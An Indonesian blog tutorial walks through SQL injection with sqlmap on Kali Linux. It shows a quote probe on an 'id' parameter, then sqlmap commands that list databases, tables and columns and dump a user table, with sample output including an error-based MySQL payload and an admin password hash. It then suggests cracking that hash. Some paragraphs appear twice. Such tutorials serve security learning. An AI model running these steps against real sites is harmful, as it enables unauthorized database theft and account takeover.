BELAJAR PENTEST DENGAN TOOLS DI KALI LINUX "SQLMAP"
Pada tutorial ini kita akan belajar bagaimana menggunakan sqlmap untuk
exploit aplikasi web yang rentan dan melihat apa yang bisa dilakukan
dengan SQLMap.
Untuk memahami tutorial SQL Injection ini Anda harus memiliki pengetahuan menyeluruh tentang bagaimana aplikasi web berbasis database bekerja. Misalnya aplikasi web yang dibuat dengan PHP + MySQL.
http://www.website.com/index.php?id=51
URLini rentan terhadap serangan SQL Injection karena pengembang situs tersebut tidak benar-benar mengamankan parameter id. Hal ini bisa saja diuji coba dengan mencoba membuka url tersebut
http://www.website.com/index.php?id=51'
Kita hanya menambahkan satu kutipan pada parameter id. Jika url ini melempar kesalahan atau bereaksi dengan cara yang tidak normal maka jelas bahwa database telah mendapat kutipan tunggal yang tak terduga sehingga aplikasinya tidak mampu mengamankannya dengan benar. Jadi dalam hal ini parameter input "id" ini rentan terhadap sql injection.
Perintah di atas adalah yang pertama dan paling sederhana untuk dijalankan dengan tool SQLMap. Perintah tersebut memeriksa parameter masukan untuk mengetahui apakah mereka rentan terhadap sql injection atau tidak. Dalam hal ini sqlmap mengirimkan berbagai jenis muatan sql injection ke parameter masukan dan memeriksa hasilnya. Dalam proses ini sqlmap juga mampu mengidentifikasi sistem remote os, nama database dan versinya. Berikut adalah tampilan yang mungkin terlihat.
Perintahnya
Jadi sekarang kolomnya terlihat jelas. Kerja bagus!
Outputnya mungkin terlihat seperti ini
Sejauh ini kita sudah bisa mengumpulkan banyak informasi dari remote database menggunakan SQLMap. Penggunaannya hampir seperti memiliki akses langsung ke remote database melalui klien seperti phpmyadmin. Dalam skenario nyata, hacker akan mencoba mendapatkan tingkat akses yang lebih tinggi ke sistem. Untuk ini, mereka akan mencoba memecahkan hash password dan mencoba masuk melalui panel admin. Atau mereka akan mencoba untuk mendapatkan shell os menggunakan sqlmap.
Saya menulis posting lain tentang penggunaan sqlmap untuk mendapatkan rincian lebih lanjut tentang remote database. Posting tersebut menjelaskan pilihan lain dari sqlmap yang berguna untuk menemukan pengguna database, hak istimewa dan hash kata kunci mereka.
Untuk memahami tutorial SQL Injection ini Anda harus memiliki pengetahuan menyeluruh tentang bagaimana aplikasi web berbasis database bekerja. Misalnya aplikasi web yang dibuat dengan PHP + MySQL.
Vulnerable Url
Misalkan ada sebuah aplikasi website memiliki URL sebagai berikut:http://www.website.com/index.php?id=51
URLini rentan terhadap serangan SQL Injection karena pengembang situs tersebut tidak benar-benar mengamankan parameter id. Hal ini bisa saja diuji coba dengan mencoba membuka url tersebut
http://www.website.com/index.php?id=51'
Kita hanya menambahkan satu kutipan pada parameter id. Jika url ini melempar kesalahan atau bereaksi dengan cara yang tidak normal maka jelas bahwa database telah mendapat kutipan tunggal yang tak terduga sehingga aplikasinya tidak mampu mengamankannya dengan benar. Jadi dalam hal ini parameter input "id" ini rentan terhadap sql injection.
Hacking menggunakan SQLMap
Sekarang waktunya untuk menggunakan sqlmap untuk melakukan hacking atau sql injection pada url tersebut. Perintah sqlmap dijalankan dari terminal dengan penerjemah python.python sqlmap.py -u "http://www.site.com/section.php?id=51"
Perintah di atas adalah yang pertama dan paling sederhana untuk dijalankan dengan tool SQLMap. Perintah tersebut memeriksa parameter masukan untuk mengetahui apakah mereka rentan terhadap sql injection atau tidak. Dalam hal ini sqlmap mengirimkan berbagai jenis muatan sql injection ke parameter masukan dan memeriksa hasilnya. Dalam proses ini sqlmap juga mampu mengidentifikasi sistem remote os, nama database dan versinya. Berikut adalah tampilan yang mungkin terlihat.
[*] starting at 12:10:33 [12:10:33] [INFO] resuming back-end DBMS 'mysql' [12:10:34] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) --- [12:10:37] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5SQLMap telah menemukan sistem operasi, server web dan database beserta informasi versi. Bahkan ini pun cukup mengesankan. Tapi waktunya untuk eksplorasi dan melihat apa lagi yang mampu dilakukan oleh alat ini.
Temukan Database
Setelah sqlmap mengkonfirmasikan bahwa remote url rentan terhadap sql injection dan dapat dieksploitasi, langkah selanjutnya adalah mengetahui nama-nama basis data yang ada pada sistem remote tersebut. Pilihan "--dbs" digunakan untuk mendapatkan daftar database.$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbsHasilnya akan terlihat seperti berikut:
[*] starting at 12:12:56 [12:12:56] [INFO] resuming back-end DBMS 'mysql' [12:12:57] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) --- [12:13:00] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5 [12:13:00] [INFO] fetching database names [12:13:00] [INFO] the SQL query used returns 2 entries [12:13:00] [INFO] resumed: information_schema [12:13:00] [INFO] resumed: sistemkeuangan available databases [2]: [*] information_schema [*] sistemkeuanganOutputnya menunjukkan database yang ada pada sistem remote.
Temukan tabel di database tertentu
Sekarang waktunya untuk mencari tahu tabel apa yang ada di database tertentu. Katakanlah database yang diminati di sini adalah 'sistemkeuangan'Perintahnya
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D sistemkeuanganDan hasilnya bisa serupa dengan ini
[11:55:18] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5 [11:55:18] [INFO] fetching tables for database: 'sistemkeuangan' [11:55:19] [INFO] heuristics detected web page charset 'ascii' [11:55:19] [INFO] the SQL query used returns 216 entries [11:55:20] [INFO] retrieved: acl_acl [11:55:21] [INFO] retrieved: acl_acl_sections ........... more tablesSelanjutnya mari kita dapatkan kolom tabelnya.
Dapatkan kolom sebuah table
Sekarang kita memiliki daftar tabel databasenya, selanjutnya kita akan mencari kolom dari beberapa tabelnya. Katakanlah tabelnya adalah 'user' dan berisi username dan password.$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D sistemkeuangan -T userOutputnya akan terlihat seperti dibawah ini
[12:17:39] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5 [12:17:39] [INFO] fetching columns for table 'user' in database 'sistemkeuangan' [12:17:41] [INFO] heuristics detected web page charset 'ascii' [12:17:41] [INFO] the SQL query used returns 8 entries [12:17:42] [INFO] retrieved: id [12:17:43] [INFO] retrieved: int(11) [12:17:45] [INFO] retrieved: name [12:17:46] [INFO] retrieved: text [12:17:47] [INFO] retrieved: password [12:17:48] [INFO] retrieved: text ....... [12:17:59] [INFO] retrieved: hash [12:18:01] [INFO] retrieved: varchar(128) Database: sistemkeuangan Table: user [8 columns] +-------------------+--------------+ | Column | Type | +-------------------+--------------+ | email | text | | hash | varchar(128) | | id | int(11) | | name | text | | password | text | | permission | tinyint(4) | | system_allow_only | text | | system_home | text | +-------------------+--------------+
Jadi sekarang kolomnya terlihat jelas. Kerja bagus!
Dapatkan data dari tabel
Sekarang adalah bagian yang paling menarik, yaitu mengekstrak/mengambil data dari tabel. Perintahnya adalah$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D sistemkeuangan -T userPerintah di atas akan mengeluarkan data dari tabel tertentu, sangat mirip dengan perintah mysqldump.
Outputnya mungkin terlihat seperti ini
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+ | id | hash | name | email | password | permission | system_home | system_allow_only | +----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+ | 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> | +----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+Kolom hash tampaknya memiliki hash password. Coba cracking hash dan kemudian Anda akan mendapatkan rincian data login. Sqlmap akan membuat file csv yang berisi data dump untuk memudahkan analisis.
Sejauh ini kita sudah bisa mengumpulkan banyak informasi dari remote database menggunakan SQLMap. Penggunaannya hampir seperti memiliki akses langsung ke remote database melalui klien seperti phpmyadmin. Dalam skenario nyata, hacker akan mencoba mendapatkan tingkat akses yang lebih tinggi ke sistem. Untuk ini, mereka akan mencoba memecahkan hash password dan mencoba masuk melalui panel admin. Atau mereka akan mencoba untuk mendapatkan shell os menggunakan sqlmap.
Saya menulis posting lain tentang penggunaan sqlmap untuk mendapatkan rincian lebih lanjut tentang remote database. Posting tersebut menjelaskan pilihan lain dari sqlmap yang berguna untuk menemukan pengguna database, hak istimewa dan hash kata kunci mereka.
gambar aplikasi sqlmap. |
Komentar
Posting Komentar